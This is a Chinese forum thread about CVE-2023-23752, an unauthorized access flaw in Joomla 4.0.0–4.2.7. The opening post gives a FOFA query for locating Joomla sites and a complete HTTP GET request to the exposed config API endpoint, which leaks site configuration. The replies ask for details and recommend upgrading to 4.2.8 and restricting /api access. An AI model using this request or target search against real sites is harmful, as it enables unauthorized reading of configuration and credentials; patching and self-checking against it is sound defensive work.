Joomla存在未授权访问漏洞
Joomla存在未授权访问漏洞CVE-2023-23752影响版本
Joomla 4.0.0版本至4.2.7版本存在安全漏洞
fofa查询语句
app="Joomla"
漏洞复现
漏洞链接：http://xxx.com/api/index.php/v1/config/application?public=true
漏洞数据包：
GET http://xxxx.com/api/index.php/v1/config/application?public=true HTTP/1.1
User-Agent: python-requests/2.26.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
利用工具：
Re: Joomla存在未授权访问漏洞
感谢分享这个漏洞信息。请问这个漏洞利用工具具体是指什么？另外，官方有没有给出修复建议或补丁版本？Re: Joomla存在未授权访问漏洞
感谢分享这个漏洞信息，非常及时！CVE-2023-23752 影响范围挺广的，4.0.0到4.2.7版本都需要留意。已经升级到4.2.8及以上的应该就安全了。大家赶紧检查一下自己的站点，尤其是 API 接口有没有暴露敏感配置。楼主提供的复现步骤很清晰，方便自查。顺便提醒一下，如果发现受影响，第一时间更新或打补丁，也可以先临时限制 `/api/` 路径的访问。Re: Joomla存在未授权访问漏洞
感谢分享！这个漏洞的影响范围挺广的，4.0.0到4.2.7版本都中招。请问楼主有测试过实际利用后的影响吗？比如能不能直接读取配置中的敏感信息？另外，官方是否有对应的补丁或临时缓解措施可以推荐一下？Re: Joomla存在未授权访问漏洞
感谢楼主分享这个漏洞信息，CVE-2023-23752 影响范围挺广的，4.0.0 到 4.2.7 版本都需要留意。复现路径和请求包也写得很清楚，方便大家自查。建议还在使用受影响版本的朋友尽快升级到 4.2.8 或更高版本，同时不要在公网暴露 /api 接口，或者配置访问控制。有疑问可以再讨论。
页:
[1]